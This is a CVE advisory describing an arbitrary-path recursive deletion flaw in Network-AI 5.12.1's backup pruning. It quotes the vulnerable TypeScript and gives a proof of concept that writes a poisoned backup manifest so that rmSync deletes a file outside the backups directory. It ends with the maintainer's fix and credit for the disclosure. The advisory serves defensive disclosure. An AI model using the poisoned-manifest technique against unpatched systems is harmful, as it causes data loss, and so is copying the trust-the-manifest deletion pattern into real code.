CVE-2026-58484

Description

### Summary `EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/<env>/.backups/<name>/_manifest.json` can cause `network-ai env backup prune --env <env> --keep <n>` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1. ### Details `listBackups()` trusts manifest content from disk: ```ts for (const name of readdirSync(backupsDir)) { const manifest = join(backupsDir, name, '_manifest.json'); if (existsSync(manifest)) { try { const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry; entries.push(entry); } catch { /* corrupt manifest, skip */ } } } ``` `pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target: ```ts const toDelete = all.slice(keep); let deleted = 0; for (const entry of toDelete) { try { rmSync(entry.path, { recursive: true, force: true }); deleted++; } catch { /* ignore */ } } ``` Default CLI reachability exists through `network-ai env backup prune --env <env> --keep <n>`. Affected source evidence: - `lib/env-manager.ts:505-523` — reads trusted backup entries from `_manifest.json`. - `lib/env-manager.ts:529-541` — recursively deletes `entry.path`. - `bin/cli.ts:464-472` — default CLI exposes backup pruning. ### PoC This PoC uses only a temporary directory and deletes only a temporary file: ```bash TMP=$(mktemp -d) TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS' const { EnvironmentManager } = require('./lib/env-manager'); const fs = require('fs'); const path = require('path'); const base = process.env.TMPBASE; const mgr = new EnvironmentManager(path.join(base, 'data'), { chain: ['dev', 'st'], gates: { dev: 'auto', st: 'auto' }, }); mgr.init('dev'); fs.writeFileSync(path.join(base, 'victim.txt'), 'safe'); const backupsDir = path.join(base, 'data', 'dev', '.backups'); fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true }); fs.writeFileSync( path.join(backupsDir, 'evil', '_manifest.json'), JSON.stringify({ backupId: 'evil', env: 'dev', timestamp: '2000-01-01T00:00:00.000Z', sizeBytes: 0, path: path.join(base, 'victim.txt'), }) ); console.log(JSON.stringify({ before: fs.existsSync(path.join(base, 'victim.txt')), deleted: mgr.pruneBackups('dev', 0), after: fs.existsSync(path.join(base, 'victim.txt')), }, null, 2)); fs.rmSync(base, { recursive: true, force: true }); TS ``` Observed result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`. ### Impact An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed. --- ### Resolution (maintainer) **Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `"path": "/"`) is now inert. All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.